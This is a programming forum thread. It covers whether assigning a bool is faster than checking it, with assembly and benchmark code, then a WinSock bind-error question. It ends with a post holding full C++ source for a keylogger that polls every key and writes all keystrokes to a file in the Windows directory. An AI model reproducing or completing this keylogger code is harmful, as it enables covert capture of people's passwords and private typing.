|
Ofer Gross wrote: What I'm actualy asking is what is more CPU expensive, assigning a bool value, or checking if a bool value is something.
If you'll look as the assembly code, you likely find that the latter takes one more instruction."One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"Man who follows car will be exhausted." - Confucius
|
|
|
|
|
As David already suggested, option A, namely
mov BYTE PTR ?WasFooEverCalled@@3_NA, 1 ; WasFooEverCalled
looks more efficient than option B
cmp BYTE PTR ?WasFooEverCalled@@3_NA, 0 ; WasFooEverCalled
jne SHORT $LN4@Foo
; Line 702
mov BYTE PTR ?WasFooEverCalled@@3_NA, 1 ; WasFooEverCalled
$LN4@Foo:
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
You both should be right if you just look at the count of commands the cpu has to execute.
But as I mentioned before, there are more things that can effect the efficiency.
- cache hits
- (maybe) no write-back phase
- instruction order to process
...
At least:
I think this optimization stands in no relation to the time spend thinking about it.Greetings
Covean
|
|
|
|
|
Yes there are a lot of thing to consider, anyway it is very hard to figure out how 'option B' may outperform 'option A'.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
But it seems that I'm right, after I made some performance tests (1 billion loop).
with Check:
bool bTest = false;
LARGE_INTEGER lFreq;
LARGE_INTEGER lStart;
LARGE_INTEGER lEnd;
QueryPerformanceFrequency(&lFreq);
QueryPerformanceCounter(&lStart);
_asm
{
push ecx
mov ecx, 1000000000
_loop:
cmp bTest, 0
je _set
sub ecx, 1
jnz _loop
jmp _end
_set:
mov bTest, 1
sub ecx, 1
jnz _loop
_end:
pop ecx
}
QueryPerformanceCounter(&lEnd);
without Check:
bool bTest = false;
LARGE_INTEGER lFreq;
LARGE_INTEGER lStart;
LARGE_INTEGER lEnd;
QueryPerformanceFrequency(&lFreq);
QueryPerformanceCounter(&lStart);
_asm
{
push ecx
mov ecx, 1000000000
_loop:
mov bTest, 1
sub ecx, 1
jnz _loop
pop ecx
}
QueryPerformanceCounter(&lEnd);
Here are the results of the test:
with Check:
1270916680 ns
1263151000 ns
1266200680 ns
1263518040 ns
1261185600 ns
average: 1264994400 ns for an one billion loop
without Check:
1268685200 ns
1264999280 ns
1268999120 ns
1263301960 ns
1263604200 ns
average: 1265917952 ns for an one billion loop
So writing it every time is a little bit slower than checking the value (on my cpu).Greetings
Covean
|
|
|
|
|
Your test on on my machine:
With check (average of 8 runs): 1138972011 ns
Without check (average of 8 runs): 579320876 ns
BTW it looks like my machine is a bit faster than yours...
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
|
Dual Core 1.8 GHz, 2 GB, 32 bit OS, Release Build with default optimizations (Visual Studio 2005).
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Now I got a clue why its so slow on my cpu.
On an 64 bit machine 32 bit application are not that fast (can't test it with x64 because this allows no inline assembly). This also explains why both tests didn't perform at the maximum speed they could do and also 16/32 bit instructions are slower on an 64 bit cpu then the 64 bit instructions.
Thanks for the time you took to test it on your machine .Greetings
Covean
|
|
|
|
|
and even more should the byte code show the differences.
I guess checking needs some commands Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
My usual way:
static bool _bWasFooEverCalled = false;
inline bool WasFooEverCalled()
{
return _bWasFooEverCalled;
}
cheers,
ARWhen the wise person points at the moon the fool looks at the finger (Chinese proverb)
|
|
|
|
|
Option A is more efficient. The main reason is that the 'if' statement changes the program flow, which can interfere with the CPU's pipelined execution.
Modern CPUs typically have several consecutive instructions in various stages of execution. For a linear instruction sequence, N stages will process N times as fast as a single stage. When there's a branch, however, this efficient arrangement is messed up, and can result in flushing the instruction cache, losing the speed advantage from pipelining.
Bottom line: For maximum efficiency, avoid branches (both conditional and unconditional) as much as possible in the critical sections.
|
|
|
|
|
There you are completely right. But if you take a deeper look you will see that, there
will only be 1 branch (at the first call) and after that it never will flush the instruction cacheGreetings
Covean
|
|
|
|
|
But if the function call is compiled inline (which is reasonable, since it's called frequently and needs to be efficient), that branch may be in the middle of an otherwise linear instruction sequence. In this case the option without the branch would be more efficient.
|
|
|
|
|
'Option B' was not compiled inline while 'Option A' was: I had to make the function 'fatter' to obtain a standard, i.e. not-inline one (VS2005 Release Build with default optimization options).
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
a really clever compiler would know that option B can be thought of as an equivalent to option A. the end result is always: WasFooEverCalled = true
if WasFooEverCalled is false, it will be set to true. if it's already true, setting it to true again changes nothing. might as well just set it to true, always.
|
|
|
|
|
In many cases, it will be faster to blindly write to a variable than to do so conditionally, though the difference is unlikely to be great. The only time that conditional writing would be faster be in multi-CPU architectures which require pre-arbitration of memory writes (which is how I understand some of them work). In that scenario, if two CPU's were repeatedly trying to write 1 to the same variable, performance may be quite poor as the CPU's would spend considerable time acquiring and releasing control of the cache page holding the variable in question. If instead the variable was only written once and the CPU's simply had to read it repeatedly, the variable could be held in both CPU's caches with zero time wasted on arbitration.
|
|
|
|
|
Option C:
(but its only reasonable if you can't inline the foo function)
In this example you just have to call foo() (what will be "inlined" be the compiler)
At the first call it calls _FooFuncAndSetBool. There it sets the bool value bWasFooEverCalled
and after that it set the function pointer to the function _FooFuncWithoutSetBool.
Every later "inlined" call to foo() will just call you funtion without setting or checking
a value.
But as I mentioned before its only reasonable if your foo() funtion itself can't be inlined,
because there will always be a call statement in assembler and call statements are
always slower then "inlining" a function.
And now the CODE: (I hope its not that cruel )
typedef void FooFunc();
void _FooFuncAndSetBool();
void _FooFuncWithoutSetBool();
bool bWasFooEverCalled = false;
FooFunc* pFooFunctionToCall = &_FooFuncAndSetBool;
void _FooFuncAndSetBool()
{
bWasFooEverCalled = true;
pFooFunctionToCall = &_FooFuncWithoutSetBool;
_FooFuncWithoutSetBool();
}
void _FooFuncWithoutSetBool()
{
}
inline void Foo()
{
(*pFooFunctionToCall)();
}
Maybe this is an alternative for you.
[edit] Added the call _FooFuncWithoutSetBool() to _FooFuncAndSetBool().Greetings
Covean
modified on Thursday, March 4, 2010 6:48 AM
|
|
|
|
|
Hi all,
I am using a WinSock programming for Client and Server Machines using Dialog Based Applications in MFC. I am using this Socket Api's like
In Server Side.
---------------
1) socket(AF_INET,SOCK_STREAM,0)
2) bind(listen_socket, (struct sockaddr*)&local, sizeof(local))
3) listen(listen_socket,1)
4) accept(listen_socket, (struct sockaddr*)&from, &fromlen)
5) recv(msgsock, Buffer, sizeof(Buffer), 0);
6) Close(...)
From Client i am sending the Data. First Time the Data is Sucsefully Transmitted. But in the Second time When i am trying to Bind the Socket in Server Side it is giving an error such that WSAEADDRINUSE. the second time onwards i am not able to bind the socket and not able to send data towards the server machine. please help me out.
Thanks in advance.
uday.
|
|
|
|
|
Server could have the only listen/accept in its main loop,
start a communication thread for each accepted client with recv/send
If you just test the only one client communication -
only recv/send could be placed in to the servers loop Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|
Dear Sir,
I have maintained two threads for both Client and Server. I mean I created a Thread in Button Click events of both Server & Client, There i have created a socket connection.
So it is giving that error. Any problem in doing that.
ie..
----
in Server Side
------------------
In Button Click Event of the Dialog, I created a Thread and inside the Thread i have written the Above Procedure to Connect the Thread and Bind. First time it is ok. But Second time Bind is been failed.
what is the wrong with the Code. Please help me out.
Thanks & Regards,
Uday.
|
|
|
|
|
Dear Uday,
any thread function (for an one client solution) may have
- a beginning part (server: create/bind/listen/accept , client: create/connect )
- a loop part (server & client: recv/send )
- an ending part (server & client: close )
So you have the only one call for bind Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|
Dear Sir,
Now i Got It Thank You Very Much.
Thanks & Regards,
Uday.
|
|
|
|
|
I am trying to implement KeyLogger in our application. It give me following errors -
'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found.
I have already included the header files which are needed for these functions.
Can anyone tell what I am doing wrong.
I am using using following code -
#include "Windows.h"
#include "WinUser.h"
#include "stdafx.h"
#include <iostream>;
#include <fstream>;
#include <stdio.h>;
void keys(int key,char *file)
{
FILE *key_file;
key_file = fopen(file,"a+");
if (key==8)
fprintf(key_file,"%s","[del]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
int _tmain(int argc, _TCHAR* argv[])
{
char i;
char test[1000];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1)
{
for(i=8;i<=190;i++)
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}
return 0;
}
|
|
|
|
|
|